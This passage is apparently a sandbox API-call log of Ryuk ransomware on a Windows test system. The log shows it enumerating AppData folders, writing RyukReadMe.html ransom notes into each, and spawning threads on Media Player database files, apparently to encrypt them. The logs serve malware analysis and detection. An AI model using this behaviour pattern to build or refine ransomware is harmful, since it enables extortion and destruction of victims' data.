	[0209.616] SetLastError (dwErrCode=0x0) 
	[0209.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.616] GetLastError () returned 0x3
	[0209.616] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.616] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0209.616] SetLastError (dwErrCode=0x0) 
	[0209.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.617] GetLastError () returned 0xb7
	[0209.617] CloseHandle (hObject=0x5cc) returned 1
	[0209.617] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.618] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.618] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0209.618] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.618] SetLastError (dwErrCode=0x0) 
	[0209.618] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.619] GetLastError () returned 0x3
	[0209.619] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.619] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.619] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0209.619] SetLastError (dwErrCode=0x0) 
	[0209.619] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.619] GetLastError () returned 0xb7
	[0209.619] CloseHandle (hObject=0x5cc) returned 1
	[0209.619] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0209.619] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.620] SetLastError (dwErrCode=0x0) 
	[0209.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.620] GetLastError () returned 0x3
	[0209.620] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.620] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0209.620] SetLastError (dwErrCode=0x0) 
	[0209.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.620] GetLastError () returned 0xb7
	[0209.621] CloseHandle (hObject=0x5cc) returned 1
	[0209.621] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.924] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.924] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x200, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0209.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0209.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
	[0209.951] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.952] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x200, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0209.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0209.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0209.959] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.960] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0209.961] SetLastError (dwErrCode=0x0) 
	[0209.961] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.961] GetLastError () returned 0x3
	[0209.961] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.961] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.961] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.961] SetLastError (dwErrCode=0x0) 
	[0209.961] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.961] GetLastError () returned 0x3
	[0209.961] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.962] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.962] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0209.962] SetLastError (dwErrCode=0x0) 
	[0209.962] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.962] GetLastError () returned 0x3
	[0209.962] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.962] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.962] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.962] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.962] SetLastError (dwErrCode=0x0) 
	[0209.963] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.963] GetLastError () returned 0x3
	[0209.963] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.963] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.963] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0209.963] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.965] SetLastError (dwErrCode=0x0) 
	[0209.965] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.965] GetLastError () returned 0x3
	[0209.966] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.966] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0209.966] SetLastError (dwErrCode=0x0) 
	[0209.966] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.966] GetLastError () returned 0xb7
	[0209.966] CloseHandle (hObject=0x5cc) returned 1
	[0209.967] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.968] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.968] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0209.968] SetLastError (dwErrCode=0x0) 
	[0209.968] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.968] GetLastError () returned 0x3
	[0209.968] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
